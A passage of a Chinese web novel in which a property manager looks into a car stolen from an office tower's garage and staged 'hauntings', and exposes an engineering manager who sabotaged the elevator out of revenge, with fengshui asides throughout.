于姐说到这，电梯也到了，“好，谢谢你于姐，你帮了大忙了！”一边说我一边进了电梯。 看来真相绝对不像表面上这么简单，一定有人在里面搞事情。 他们为什么要裁掉老员工，全招新人呢？ 难道是老员工知道什么事情？不应该呀，这核心技术都在老员工手里呢！ 电梯一路向下，运行的声音正常而又健康，我应该去保安办公室看看了。 正阳大厦的保安团队，人倒是不少，我看过员工花名册，团队人数达到20+，这个数量的保安团队，我确实还没有管理过。 办公室里坐着四个人，办 公环境让林皓给配备的真不错，一人一个电脑，这几个人都在电脑前，不知道在鼓捣什么。 “请问你找谁？这是保安室，不允许外来人员随意进入。”一个中等身材的保安问我。 “我是新来的物业经理吕向荣，你们这里有保安队长吗？”我问。 “我就是保安队长金辉，新来的物业经理？哦，您就是群里说的吕向荣是吧？” “对，就是我。”我看看这个金辉，虽然身材各方面没有李壮和江怀洲高大，但是眼神和精神面貌给人一种很稳重、很睿智的感觉，第一印象不错。 “吕经理您好！”金辉伸手跟我握手。 “金队长，正阳大厦的安保排班都是你来做吗？”我问。 “是我来做，我下边还有四个督导，一共四个班，不过，我就住这里，没事我就出来巡视，检查他们的在岗情况。”金辉回。 我赞许的点头，“12A的业主丢车那天，是哪个保安在出口值岗呢？” “那天啊，那天是A班的督导值岗。” “车出去的时候他没发现？”我又问。 “吕经理，那天确实没看到车出去，我们事后查询了停车系统，那天根本就没有这个车牌号的车出去。”金辉说。 “怎么你们是排查的车牌号、而不是车吗？”我很意外。 “车我们查了监控，没看到有mini出去啊！” 金辉的回答让我敏锐的感觉到了问题，这里面有问题，但是问题到底在哪里还没想到。 “吕经理，这个mini车很少开，总是停在那里的，凭空消失我总觉得不太可能啊！” 第一百四十八章 宁可信其有 正阳大厦的事情有很多地方想不通，我准备给林翔打电话换换脑子。 “哟？怎么着？办公大楼也是你的管理范围啊？”林翔熟悉的声音从电话里传过来。 “我这不是落难了嘛，出来帮我老领导分担点工作，老林，这么说这辆mini车丢失的事情，你是知道的？不会是也归你管吧？” “知道是知道的，这么大的事我哪能不知道。不过确实不归我管，但是我听说了一些风声。”林翔说。 “什么风声？方便透露不？”我急切的问。 “也不是什么官方讯息，就是民间传说，你打听谁也都能听说。据说这个案子诡异在车开出去了却没有痕迹。”林翔回。 “我刚才跟物业的安保也聊了，他们筛查这辆车，看的是车牌照啊，老林！” 林翔被我点醒，说：“是啊，换个牌照呢？还是那辆车。” 林翔也想到了我担心的事情。 “向荣，你这个思路不错，但是你想一想，mini也算是高端车了，车上肯定有防盗啊、追踪啊这些先进玩意儿，可是为什么开出去以后什么都没发现？就像蒸发掉了一样。” 林翔的话让我陷入沉思，“老林，看来我这通电话的目的达到了，哈哈！” “什么目的？怎么还笑了？”林翔纳闷的问我。 “我就是纠缠在这件事里，想不出个所以然，才给你打的电话，想着换换脑子，现在你的一席话，让我瞬间清醒了不少。”我回。 “对了，向荣，冯晶晶有消息了。” “真的吗？她在哪？” “她的QQ昨天在市中心的一个网吧登录过，距离正阳大厦很近呢！”林翔说。 “太好了！我最近都在正阳，我要好好找一找，说不定还能抓住许德生。”我很兴奋。 “但是你必须注意前提啊......” 我打断老林，“遇到事先告诉你，不能轻举妄动。” “知道就好！”林翔满意的说。 结束了和林翔的通话，我重新捋了一遍这一天发生的事情，很多地方想不明白。 天已经黑了，正赶上大厦里的公司这个时间下班，电梯尤其不好坐，一楼等了很多人。 这时候我无意间听见两个女的在聊天： “丽姐，今天还加班啊？”年轻一点的问明显成熟很多的。 “加班啊，老板给了一堆数据，非要我今晚上给他报表。” “那你可得注意啊，你听说没，最近这座大厦一到晚上就有灵异事件。”年轻的又说。 “啥灵异事件，你别听他们胡说八道。”成熟女明显不屑。 “丽姐，很多人都听说了，宁可信其有，不可信其无啊，早点结束回家，工作也不是一天干得完的。”年轻的继续劝。 这时候我们等的那部电梯来了，里面挤了很多下班的人，他们都出来以后，我跟在两个聊天的女的后面进了电梯。 “具体咋回事儿？你和我说说。”成熟女的好奇心被说动了。 “加班的话你也不要坐二号电梯，它每次到了三楼都会停，然后还会自动开门，开开关关始终关不上。今天上午还困住人了呢。”年轻的说。 “这怎么了？电梯故障而已，我还以为你说的灵异是啥吓人的呢！”成熟女说。 这时候我的楼层到了，电梯开了门我就出了电梯，再没听到她们聊的后续。 林皓还在办公室没有走，“林哥，这么晚了，还不回家啊？”我问。 “向荣，你出去这一圈有发现什么吗？”林皓问我。 我把这一天遇到的事情，还有我怀疑的疑点跟林皓说了一遍。 “林哥，咱们这个大厦的三楼是哪家公司啊？”我问。 “三楼？三楼是仓库，没有办公室。还是毛坯状态，堆放了一些旧家具什么的。怎么了？你去三楼了？” “没什么，我是听说电梯一到三楼就停摆，看来这个电梯的问题还真不少。”我回 “走吧，我们一起回去，我正好顺路路过锦绣，能把你带到家。”林皓起身收拾。 “好，那就坐你的顺风车了。”我跟着林皓，一直坐电梯来到地下停车场。 “林哥，这一层是不就是mini车丢失的楼层” “对，那辆车停的位置比较偏，在拐角处，这里看不到。你要去看看吗？”林皓问。 “今天不看了，车都没了，监控也没拍到，去看也看不到什么。” 坐林皓的车回家的一路上，我们有一搭没一搭的闲聊着，林皓问我停职的事情怎么考虑的。 “我一定要等到老袁给我打电话，我听听他到底什么说辞。”我很坚持。 “袁振文的为人还是很正直的，属于比较正的那么一个人，他未见得从中作梗或者没有保你，我猜他应该是没有办法帮你，也就不好意思联系你。”林皓分析。 “总要跟我说说发生了什么吧？” “他不是给你打电话了，你没有接到吗？”林皓问我。 我沉默不说话。 “向荣，你也干了这么多年职场了，职场的套路和规则你也应该有所了解，别孩子气，老袁会不会害你，你应该了解的，不能拒绝沟通，没有沟通，什么事也无法进行。” 林皓说的话有道理，我要先给老袁打电话？ “如果你不打电话问，人家以为你不在意呢，何况人家给你打过，是你没接，那你这个火气有个几天嘛，也就该消了，该联系就联系呗。”林皓劝我。 “林哥，你的建议我会好好想想的。前面快到了，你靠边停就行，别往里走了，拐进去你不方便出来。”我说。 下车前，我想起件事，“林哥，岳堂是你招来的吗？” “岳堂？工程部经理？他倒不算是我招来的，是别人介绍的。怎么了？特殊问起他。” “倒是没发现什么，我只是觉得这个人给我的感觉很不舒服，不像金辉和保洁那些员工的感觉。他的眼神总是很闪烁，不敢正视我。”我回。 “哦？他还这样吗？我可能是太忙了，对他这方面注意的少。那你的意思是，这些事情他有嫌疑？”林皓问我。 “现在还不好说，他好像是什么都很懂，但是就不愿意告诉你那种感觉。” “向荣，你能来帮我，我感觉心里有底了，如果你们集团最后跟你解除合同，你就来我这吧，我给你跟现在一样的薪资。”林皓说。 “林哥，又唠钱了，真的那样了我们再说吧。现在最要紧的是把眼前的困难解决了。” 林皓点头。 “行了，你走吧，回去路上开车注意安全。”我跟林皓告别。 第一百四十九章 家族的网 家里面我妈已经做好了晚饭，我爸和王敬之都在等我。 “今天怎么也这么晚？老林那边跟棘手是吗？”王敬之问我。 “确实棘手，又丢东西、又裁员、又灵异的。”我端起碗准备吃饭。 “爸妈，吃饭吧，以后如果我太晚，你们就不用等我，你们先吃。”我看看我爸的状态，除了更加瘦、没精神，倒是没有其它异常。 “爸，这两天喝中药有没有什么不好的感觉？”我问。 “没有不好的感觉，能睡着觉了，白天的时候也会小眯一会儿。”我爸回。 “行，一会儿吃完饭我再给你把把脉，看看用不用调药。”我看看王敬之，想起林翔告诉我的事情。 “师哥，今天冯晶晶的QQ又登录了......”我话音刚落，王敬之就说：“是，我知道，我还和她聊了几句。” “什么？你们联系上了？”我吃惊不小。 “一来一往说了五句不到，我总觉得对方不是晶晶，像是别人在用她的QQ。”王敬之食不知味的样子，很担忧。 “林翔今天和我说，QQ登录的位置就在正阳大厦附近的网吧。我准备明天开始闲暇时候就去附近转转，也许能发现踪迹。”我说。 “向荣，冯楠怎么样了？醒了吗？”王敬之问我。 “这个倒是没找到机会问林翔，下一次我们再联系的时候我问问他。师哥，你想到什么了吗？”我感觉王敬之有话说。 “先吃饭吧，明天下午如果有时间，我去正阳那里找你。对了，老袁的工作也有别人接替了，是今天发的邮件，说是老袁身体有恙会休息一段时间。”王敬之说。 “啊？袁总病了？”我不由得想，难怪一直没有消息，这里面到底有什么事呢？ “你还是主动一点，联系问问，我总感觉老袁不会害你。”王敬之说。 林皓和王敬之都建议我主动联系老袁，看来确实应该主动问问，就算是生气，也该气消了。 电话响了两声就被接起来，“臭小子，气消啦？知道给我打电话了。我这老毛病都被你搞犯了。” “哎呀，你看你，知道这事儿我想不通，你还真的在意！脑出血可不是闹着玩的，你有没有按时喝我给你开的汤药？”我着急的问。 “有啊，你想知道因为什么停你的职了？”老袁的声音在话筒里听着有点虚弱。 “袁总，其实我现在已经想通了，人和人看问题的标准和尺子不同，我觉得自己好，忠诚，任劳任怨这些，并不代表老板也认同。不过，如果标准差的太多的话，就是圈子相差太多，没必要在一起迎合。”说出心里话顿觉开朗了不少。 “向荣，不是你想的那样，老板对你一直很认可，总助吴天宇在职的时候，就对你认可了。停职的事情是有家族的因素在里面作祟，不过你放心，很快会解决，会给你一个公正的结果。” “家族的因素？您是说因为叶德娴的事情，我得罪了老板的亲戚？” “是因为叶德娴，她走以后就没消停过，老板一直压着，这回在帝豪庭，你又给了人家把柄。”老袁说。 “帝豪庭什么把柄？您知道的，刘明玉因为这个都被我们舍弃了，难道还没为老板着想吗？” “叶德娴的事情，因为她工作违规，老板对家族人的微词有搪塞的理由。帝豪庭的事情，业委会有个女业主是老板的人，具体什么关系，就不方便透露了，她说你带头宣传封建迷信，她的工作性质跟民间的不一样，所以，老板想先让你沉下来，风声过去再调整。” 我终于明白了事情的原委，看来，你再正，在别有用心的人那里，你就是不对，不行。 “袁总，那你为啥停职？你都跟了老板这么多年了？老板是不是一点情分都不讲的，只要能赚钱就行?”我有点气愤，甚至于比给自己停职都气愤。 “你小子，还知道替我抱不平啊！这个情绪你给我留着，这回用不上。”老袁开心。 “怎么着？这也是你和老板做的套？” “是啊，而且是我给老板出的主意，不这么做，家族的人怎么会罢休？但是也不完全是套，为了给你平反，停职就停职呗，这也是让老板知道知道你的分量。” “袁总啊，我是真的服你了，您是不是常看《三国演义》？您这心理战术无人能比啊！” “臭小子，你这是损我呐？”老袁在电话里批评我。 “我可没有，天地良心，我这是由衷的肯定。战术在正直的人那里就是战术，在邪恶的人那里才是阴招。”我开始臭词滥用。 “哈哈哈，别说这个了， 你这几天好好歇歇，我估摸不会太久，你就官复原职了。到时候你还得去恒华国际看看，那个公寓最近总搞事情，非说物业费收不上来，入住率却是达标的。” “袁总，你看看，咱俩刚恢复联系你就给我布置任务，我不得，我可得歇好喽再说。”我故意使小性。 “你敢！让你复职了你若是不接，我就不喝你的药了！” 这袁振文，净玩狠的。“成，成，我接还不成嘛！药得喝着。” “嘿嘿嘿，好了，不说啦，电话费挺贵的。”老袁开心的结束了通话。 我也是开心的，不是因为一定会复职，而是因为多了一个老袁这样的朋友。 话里话外的，他的角度都是站在为我考虑的立场上，我觉得为这样的上司出力，很值得。 “向荣，一会儿我们去正阳大厦附近转转，我坐不住了，总感觉晚上会看到晶晶。”王敬之火急火燎的说。 我看看时间，晚上九点，“行，走吧，我没什么事了，带上家伙事儿，走！”这个时间应该正是“网虫”们冲浪的时间。 正阳大厦五公里以内，只有一家网吧，很大，楼上楼下两层。 我和王敬之到了以后，跟前台说找人，先在一楼转了一圈，全是男的，一个女的都没有，男的也没有我们认识的可疑人。 “师哥，去二楼吧。你是不是用奇门遁甲卜算了，冯晶晶这个时间会在这个方位？” “对，而且提示的很明显。”王敬之一边回答一边跟我上了二楼。 二楼的构造和一楼不一样，四周有一个个挡着帘子的隔间，敞开区没发现异常，隔间却没办法查看。 我用眼神示意王敬之该怎么办，王敬之直接就一个帘一个帘的撩开缝隙查看了。 这师哥，为了冯晶晶是什么都不怕。 “干什么的？”一个男人的声音从帘子里喊出来。 王敬之赶紧道歉，“对不起、对不起，找错了。” 第一百五十一章 平层装置 等我返回林皓办公室的时候，发现林皓和刘明玉正在跟几个人争执。 我站在外围听了一会儿，原来是四楼和五楼的业主，林皓在跟他们掰扯租赁协议。 “因为是你们违约，押金不能退，而且还要支付违约金，你们说的理由没有法律依据。”林皓不紧不慢。 那两个业主听完就炸了，纷纷说要去起诉林皓，一时间吵得不可开交。 “两位业主，你们先消消火，我想你们当初能租这里，肯定也是有你们看中的条件。现在有了问题咱们解决问题呗，没必要一定退租啊！而且是办公地点，搬来搬去的也不方便，更不利于开展业务，你们说说到底因为什么要退，我们整改可以吗？”我赶紧打圆场。 两个人听完我说话，愣了。林皓赶紧介绍，“这是新来的物业经理，吕向荣。” “整改？应该整不了吧？就丢车这件事，现在都没有任何进展。我们的车停在这里都没有保障，每天上班的时候还要惦记着车，累不累？”其中一个说。 “还有呢，三楼是不是搞事情？我们的员工根本不敢加班，晚上一到9点后，就开始吵架，那声音，我都听见过。”另一个说。 “三楼的事情我们尽快出调查结果，丢东西这个事情，你们也不是第一天在正阳了，正阳的安保系统怎么样，你们应该知道的呀。”林皓说。 “业主，你们能说说三楼具体吵什么吗？”我问。 “吵什么，我想一想，对了，有一天我留在这特意想看看员工说的吵架是不是真的，将近夜里11点的时候，我听见有装修的声音，还有人喊不让你那么干你听没听到，然后还有人说凭什么听你的，后来就乱糟糟的，听不清具体了。”四楼的业主说。 “我们的员工老来和我反应，电梯总是晚上加班的时候，到了三楼就停站，电梯门会打开，但是也没有人上来，待一会儿又关上，影响很坏，搞得没人愿意加班。”五楼业主说。 林皓看看我，很郁闷，他不知道怎么解释。 刘明玉张张嘴想说什么，我拍拍她，示意她沉默。 “好，给我们三天时间，三楼的事情我帮你们解决。丢车的事情还希望你们从客观角度去审视，咱们安保系统的先进性，绝对是办公大楼里排名靠前的。”我严肃的看向两个人。 两位业主互相看了看，确实是为了解决问题来的，不是要闹，所以都点头答应了。 他们走以后，林皓问我：“向荣，你发现什么了吗？三天你能搞定吗？” “还没发现，但是我有把握，三天都不需要，我就可以发现是谁在搞事情。” 林皓和刘明玉看看这么有信心的我，都不说话了。 “刘姐，最近的公关和舆情最好搞起来，搞一些业主关怀活动，拉一拉好印象，最好把丢车事件澄清一下，这方面你比我擅长，你看看怎么搞，要不然，在这事没查清以前，咱们还要背锅。”我提议。 “向荣提醒的是，明玉，你把公关工作作为接下来的重点吧，舆情务必要处理。”林皓响应。 “林哥，还有啊，我们可以推行招商优惠活动，扩大招商力度，正阳这里的硬件配备是过硬的，物业的服务也应该没问题。就守着这么好的地段，也要冲一冲。”我建议。 “向荣说的是，最近我确实在考虑招商优惠活动，已经有方案了，一会儿跟林老板碰一下。”刘明玉说。 “你们俩就忙经营，这些问题的处理留给我，我来！咱们如果因为解决问题而耽误了赚钱，让自己身陷资金紧张的漩涡，就中了别有用心人的计了。”我说。 “好！向荣，有你来负责解决这些我当然放心，这样一分工，我和明玉也没那么多担忧了。明玉，你跟金辉和岳堂说一下，全力配合向荣。”林皓一锤定音。 跟林皓和刘明玉聊完以后，我准备去三楼看看，三楼的问题让我想起了四季云顶。 当时就是搞事情的人在隔壁房间里放了录音设备，搞得跟灵异事件一样，这回莫不也是类似的套路？ 但是，电梯一到三楼就停，还有开合，然后又运行是咋回事？ 有人在场地摔伤，难道当时没有很好的索赔？ 我是上午十点左右下行去三楼，坐电梯的人很少，我很顺利就到了三楼。 电梯门一打开，很黑，没有灯，而且目光可视的范围内，见到的都是毛坯，确实还没有利用过，还处于最原始状态。 我打开手机电筒，通过手机的光越过走廊，来到空旷区，能看到阳光了，亮堂起来。 空旷区堆放了很多旧办公桌椅、还有一些建筑垃圾，角落 里有几处打包盒，还有烟头。 怎么？有人在这吃过饭？ 看样子不像很久以前的，就像是没几天刚用过的，因为没有太多灰尘。 我又很仔细的转全了整层，都没看到任何录音播放设备，而且三楼没有监控。 有人搞事情是肯定的了，但是是怎么搞的事情呢？我没想出来。 走到电梯口，准备回去的时候，我仔细查看了一下电梯里里外外，没有看到有额外的装置或者什么钥匙之类的，电梯一到三楼就停靠，我知道有一个原因可以实现。 安装一个“平层装置”，电梯就会在到达指定楼层时停靠，要检查一下微处理器或pLC。 这时候一个怀疑对象又出现在脑海，岳堂。 搞破坏的人想实现电梯的控制，只能是通过岳堂，就算是厂家的人搞破坏，岳堂在日后的维护中也会发现。 但是现在是他没发现，没举手，那就说明他有主动破坏的嫌疑。 我没有回林皓办公室，我直接去了12A，我想见见财务经理。 来到这家科技感十足的公司前台，我跟小姑娘说，我是物业派来跟丢失车辆的业主沟通情况的，我们将酌情给与补偿。 前台小姑娘很痛快的就给我联系了财务经理。 电话里的财务经理也很快的答应了见我，因为电话没讲多少内容，前台的小姑娘就引领我进了办公区。 办公区真大！这么开放式的装修确实很豪，阳光很好，这样的风水是有利于聚财聚气的。 财务经理在一个封闭的办公室里，前台的小姑娘敲门然后让我进去之后，里面的女人坐在老板椅上背对着我。 “你是物业的啊？坐吧，坐。”话音一落，老板椅转过来，那张脸让我过目不忘。 第一百五十二章 何江的意见 这应该算是一个美女，一头乌黑的长发如丝，雪白的一张瓜子脸，又眉弯弯，鼻梁高挺，凤目含愁，约莫三十来岁。 不过牙齿很小、牙缝特别稀疏，像小孩牙一样那种，这种人说起话来嘴里一句实话都没有，喜欢搬弄是非颠倒黑白，眉头很小眉尾炸开，非常多疑。 “你是物业的什么干部？”她先开口发问。 “哦，我是新过来的物业经理，吕向荣，您好！”我站起身伸出手跟她握手，她犹豫了一下，屁股抬一抬，手搭了一下就算是握了。 “听说，你们要给我补偿是吗？”这算是切入主题了。 “哦，是的是的，特意过来跟您认识一下，再了解一些细节，跟你商讨补偿。毕竟，车是在我们大厦里丢失的嘛。”我脑袋里迅速的盘算着该怎么吸引她的话头。 “我那车，多少钱买的你知道嘛？补偿？怎么补偿？” “业主，现在公安部门还没有定案，我们物业本着积极配合处理的角度，也想听听你的想法。”我不想先透露自己的目的。 财务经理抬抬眼皮看看我，然后迅速的翻翻手里的一些待签批单据，扔到一边。 “我的车虽然买了盗抢险全额，但是一码归一码，车是在楼下停车场丢失的，虽然你们有监控、也有巡逻、还有外来人员核实登记，但是，结果是不好的，说明你们的工作标准不过关，赔偿是一定要的。” 我一听，感情这女的功课已经做的妥妥的了，表面上我依然微笑着点头。 “现在就是按什么标准赔的问题了，你说是吧？”财务经理看向我。 这女人不愧是干财务的，思维清楚、逻辑也够用。 “业主，我既然能主动前来聊赔偿的问题，您就不用担心我们耍赖。我还想了解一些细节，我们安保的工作有则改之无则加勉，您还得多提宝贵意见。” 财务经理面目表情很愉悦，毕竟我从进门到现在都是恭敬的顺从态度。 “好呀，你问，你想了解什么？我正好还有点时间可以处理这些事情。” 我刚要张口，有人敲门，而且没等财务经理说请进，人就推门进来了。 财务经理刚要发火，一看来人，立刻换了一副撒娇和做作的纯真态。 “Amy，小浩的那笔钱一会儿打我卡里，我急要。”是个男人，命令的口吻。 我歪头看了一眼，来人个子不高，长相普通，但是一身行头和做派显得他气势威严。 我看他的时候，他也看向我，眼神很意外，转而立刻审视的看向财务经理。 “他是物业经理，来聊索赔的。”财务经理赶紧介绍。 从他们彼此的眼神交流中，我相信关系非同一般，而且这个推门而入的很可能就是12A的老板。 “物业经理？我正想找你们，来我办公室吧，我有话和你们聊。”来人说完就走了。 我看看财务经理，诧异的问：“这位是？” “他是我们老板，你过去吧，跟他谈也是一样的，那车在公司名下。”财务经理下了逐客令。 而且很明显的，刚刚说完让他给那个小浩转钱之后，她就隐忍着不悦。 我起身告辞财务经理，去12A老板的办公室。 这老板办公室在走廊尽头，门不大，里面空间很大，因为尽头的原因，里面包含建筑设计缺角位置，整体是个凹凸形。 “你是物业经理呀？我没见过你，不是一个女的吗？”12A的老板坐在茶台前，招呼我坐下聊。 “她也是物业经理，我们分工不同，她现在负责招商，我负责业内纠纷的解决。”我坐在他对面能够近距离的看向他。 这个人的五官长得确实不错，而且属于越看越舒服那种。 “我叫吕向荣，还没请问您贵姓大名？”我发现没有称呼显得别扭。 “哦，我这有张名片，上面还有我的联系方式，以后说不定你用得着。” 我一看名片，写着 某某软件科技公司 总经理 何江。 “您好，何总！”我站起身主动跟12A老板握手，算是正式认识了。 何江一看我这么懂礼数，有点拘谨，“你好、你好，坐吧，我干技术出身，不是很会社交，多包涵、多包涵！” 这个老板原来外表都是伪装，内里是这么一个直接又内敛的人，留给我的印象不错。 “吕经理，今天遇见你呢，我主要是想和你聊聊我们公司丢的那辆车。”何江一边喝茶一边说。 我点头示意他继续说。 “那辆 mini，其实是Amy专用的，但是所有权在公司，丢车那天我们两个因为工作上的事情大吵一架，我为了躲避她，就早早回了家，所以错过了丢车的时间。” “何总？错过了丢车的时间是什么意思呢？”我好奇了。 “哦，就是我平常都是很晚才走的，很多时候我都在公司睡，那天那辆车是夜里，接近凌晨的时候丢的吧，如果我没和她吵架，那会儿正是我出去遛弯儿的时间。说不定就看到了。”何江叹口气。 “遛弯儿？您是说您运动？”我问。 “是的，我就在楼里走动，走楼梯，有时候去地下停车场，转一转换换脑子再回来。” “那您想跟我们物业说的事情是？” “我知道，丢车的事情有警察负责调查办案，物业不管这些，我是希望跟你沟通的是，你们确定你们的安保系统没有故障么？那辆车开出去怎么会在监控里看不到的？还有你们那保安，巡逻还挑选楼层巡逻，今天1、3、5，明天2、4、6这样，这是你们的规定还是你们的保安在偷懒？”何江一边思考一边跟我反映这些问题。 这些应该都是他遛弯儿的时候发现的，真实性很高。 “何总，你说的现象我回去马上安排彻查，分拣巡逻肯定是不准许的，我们很有可能会解聘这样的员工。至于监控，目前正在检查中。”我回。 何江看看我，有了笑模样，“吕经理确实要比那位女物业经理更实在，态度更热情。这些事我跟她说过，她直接就全否认掉了，还没去查就否认，这不骗鬼呢么！” “何总，我们分工不同，有些话和看问题的角度会有偏颇，这不我昨天到任的，今天就上门来调研了么，物业的工作是服务于业主，你们提的意见，我们肯定重视。” “哦？吕经理是新上任的啊？而且你看着这么年轻，但是聊起来感觉经验很丰富的。还真不错，正阳要是有这样的物业团队，还是值得期待的。”何江又给我倒了一杯茶。 第一百五十三章 2+1和嫡子的矛盾 “何总这办公室蛮宽敞的，当时也是请设计师设计了吧？”我看到不舒服的地方就有点强迫症发作。 “哦，倒也没设计，我觉得我的办公室最无所谓的，重点是开发人员的环境。所以后来就剩下这个位置，我就用了这里。确实蛮大，采光很好。”何江很随意的说。 “怎么？吕经理有什么想法么？你也懂建筑设计？”何江问我。 我相信他只是随口问我，但是我是真的想提醒他，“您现在走廊尽头这个户型属于凹凸型，在建筑设计上，这种户型缺角，引发的不良现象比如气场不稳定、收支不平衡、人心不稳。” 何江眼睛瞪了好大打量我，“吕经理，你是认真的吗？这些话我有个懂风水的朋友也和我说过，他每次来都建议我换办公室。” 我笑了，又看了看门前的位置说：“您门前“明堂位”内陷，财路渐窄，生意会越做越小。” 何江对我感兴趣的程度提高到了沸点，他站起身，转到我的身边，双手握住我的手说：“吕经理，看来你真的是练家子啊，并不是一个小小的物业经理。你看我这有什么化解办法吗？实不相瞒，你以上说的现象，公司现在都遇到了。没办法啊，只能裁掉一部分人，丢车保帅。” 何江能如此开门见山，毫不隐瞒，我倒是很意外的，刚要说什么，办公室的门被推开，也是没有敲门。 “老何，小浩的钱打不了，银行把账户封了。”是财务经理。 我一看他们有事情，我也不便多听，赶紧起身说：“何总，你们先处理公事，我就在楼里，有时间我们再聊。” 何江顺水推舟，送我到办公室门口，看着他的眼神，我知道，这个人已经被我征服。 出了12A，一眼就看见保洁在清理走廊的垃圾桶，我走过去，“于姐，忙着呢？” “吕经理，嗯嗯，是啊，这会儿稍微有点忙，您过这边来巡逻啊？”于姐认出我。 “于姐，我问你个事情，你平时有没有听过小浩这个名字？”我想看看保洁听没听到过这个讯息。 “小浩是12A老板的儿子。”于姐果然知道。 “哦？老板儿子，你见过吗？”我问。 “见过啊，他没事就来，他开了一辆跑车，你们那个金辉都认识那辆车。” 我一听，还挺张扬，“于姐，这个小浩多大了你知道不？” “他啊，20出头，啥也不会，天天花他老爸的钱。对了，那天老板和财务经理吵架好像就是因为他。没办法啊，小三对正室的孩子都是虎视眈眈的，人家跟她争夺财产嘛！” 原来是这样，我心里面那个画面某些部位有了合理的链接。 “谢谢你于姐，你先忙吧，我去别处看看。” 我直接坐电梯来到地下一层保安办公室，果然金辉在班。 “吕经理，您来了。”金辉起身招呼我。 我摆摆手示意他坐下说，顺势坐在他旁边，看向上方的监控屏幕。 金辉看我不说话，也不说话，陪在我旁边看屏幕。 “金辉，有业主反应我们的安防系统有故障，你听说了吗？”我问。 “这话，应该是12A老板说的吧？”金辉不是很在意，还很抵触。 “怎么？你很抵触？为什么？” “他是不是还和你说，说我们保安分拣式巡逻？1、3、5,2、4、6的。” 我点头。 “吕经理，你要是听信他说，那我们安保没法干了。”金辉咋呼起来。 “你坐下，别咋呼！你说你这么大一个安保队长，咋这么禁不起别人提意见呢？有话说话呗，到底咋回事，你说说。”我稍微加重了语气，有点愠怒。 金辉看我有点不高兴，也自觉刚才有些反应过大，想了想说：“咱们这安保系统，是林老板花了几十万采购来的，可以这么说吧，堪比某机关单位的安防系统。岳堂每周来一次维保，它咋能有故障你说。没拍到车就赖我们系统不好使啊？我还说那车根本就没出去呢！” 我琢磨着他说的话，又是岳堂。 “说我们分拣式巡逻，他有证据吗？”金辉愤愤不平的说。 “那你每个班都跟着吗？你确定他们没有偷懒吗？”我反问金辉。 他被我问住了，他不敢保证。 我想了想说：“这件事，别不服气。既然有人提意见，就说明还有转圜的余地，等到人家意见都不想给你提了，那你就要做好准备走人了。你知道你和兄弟们的福利待遇还有工资从哪来的不？就是从这些物业管理费中出的。衣食父母，为什么要抵触呢？任何事情 ，只有你确认，你敢担保，你才能拿出来辩解，明白吗？” 金辉有点愣神，我知道我说的话他听进去了，但是还有个接受过程。 “金辉，我要去看看岳堂。安保这边第一关审核我还是交给你，你采取机动、暗箱的突击检查，每个班都给我看一遍，到底有没有分拣式，三天后我要结果。另外，你说车没开出去，有根据吗?” “这个我倒是没根据，那您说，那么大一个物体，咋能拍不到？出去了，拍不到，不现实嘛！”金辉一点也不动脑筋。 “也不是，如果它换了牌子呢？我记得你和我说过，你们筛查，只是筛查的车牌子。” 金辉不说话了，从他的表情里我看出，这种可能性有，还不小。 “吕经理，你可真神了，你咋知道呢，我们正阳，就这个mini车特别多，据说当初有个4s店搞活动，这里的业主得到消息一起去团购的。”金辉有点激动。 “别磨牙了，我说的突击检查你抓紧时间做，不能当保护伞，否则被我知道，咱们就无法再继续合作了，知道吗？” 金辉很认真的点头。 “至于安保系统，你把大厦里全部的mini车信息都整理出来一份给我。” 吩咐完工作，我又上了一层，去找岳堂。 遍寻了一圈，人不在，我看看时间，还没到午餐时间，这人去哪了？ 有种强烈的直觉要我去三楼看看，这一次我不坐电梯，改走楼梯。 果然在二楼消防通道处，听见了岳堂打电话的声音。 第一百五十四章 揪出岳堂 “我和你说过了，不能再做。新来的物业经理很贼，我觉得我已经暴露了。”岳堂在消防门的角落，与我一门之隔。 “不行！绝对不行！现在散播一点灵异的消息也就罢了，出事故是要摊官司的，我犯不上用后半生陪你玩。那天电梯被困，我就很担心了，那个心脏有问题的业主到现在还没出院呢。”岳堂的语气充满了愤怒。 半天没声音，我赶快轻手轻脚的离开原来偷听的位置，果然岳堂的身影转进来，往三楼走去。 我犹疑了一下，保持了一点距离，跟在他后面。 因为消防通道是声控灯，很好的给我打了掩护。 岳堂到了三楼，在角落位置取了一个什么东西，很迅速的就要往回走。 我直接过去拦住他：“岳经理，每天都来拿一次，不累吗？” 岳堂一看是我，赶紧要遮掩手里的东西，听见我说每天都来一次，惊讶的不知所措。 “走吧，去林皓办公室，如果你还想在这行继续干下去，就跟我走。否则我会报警。”我很气愤，也有点庆幸，自己的猜测果然没错。 “吕经理，你说的我听不明白。”岳堂还想挣扎。 “不明白？你手里拿的东西是录放机吧，里面是这里装修时候的一些录音。而且如果我没猜错，现在检查一下电梯控制系统的微处理器或pLC，一定还有那个平层装置。”我大胆的推测。 岳堂惊讶的看着我，好半天说不出话，后来索性放弃了，我想他应该是不想继续在这条路上越走越远。 “走吧，我跟你去。”岳堂缴了械。 林皓看见我和岳堂一起进门，并未起疑，“怎么样？岳经理，跟向荣配合的如何？向荣是个很认真、做事喜欢抠细节的人，你接触接触就会适应的。” “林总，对不起啊，我想我该离开了，很抱歉！”岳堂有气无力的说。 “辞职？为什么？”林皓很明显舍不得，看了我很多眼，我示意他听岳堂自己说。 “我跟给正阳做装修的项目经理是发小，正阳大厦物业公司招标，他们公司也参与了，而且也是最有希望中标的候选公司，因为他们对大厦的各构造、配电、消防全都了如指掌。但是，最后环节你们却胜出了，我俩一度怀疑是你们给上面的人递了好处费。我发小因为参与这个事情，几乎投入了全部家力，这件事没成，等于给了他重创。为了替他教训教训你们，我托人介绍来你手下任职。” 林皓大睁着眼睛，有点不敢相信自己听到的，“岳堂，你是说真的吗？你参与了偷车？” “没有，偷车与我们无关。大厦里散布的三楼诡异的问题是我做的，还有电梯被困那次，也是我设计的。做完以后我就很后悔，我们只是想出口恶气，让业主换掉你们，我们也有重来的机会，我们并不想伤害谁！”岳堂说着自己的底线。 “可是，老岳，你所谓的伤害是什么标准呢？没有人伤亡，对吗？”林皓问。 岳堂点点头。 “可是间接的伤亡你想过吗？电梯被困后，住院治疗的两个业主你已经知道了，五楼一家公司，一个很胆小的女生，夜晚加班10点后才下班，就是因为持续性到三楼就停摆，早孕期间先兆流产，你还想怎样叫伤害？”林皓说的事情我也很震惊。 “林哥，是前天过来找我们要退租的那家五楼的？”我问。 “是的，今早上我知道了这件事，一直在懊悔，那也是一条生命啊，向荣，你今天去业主家看看吧，买点补品。”林皓说。 岳堂整个人都颓了，他明显是没想到这么严重，报复的快感远远抵不过负罪感的后劲。 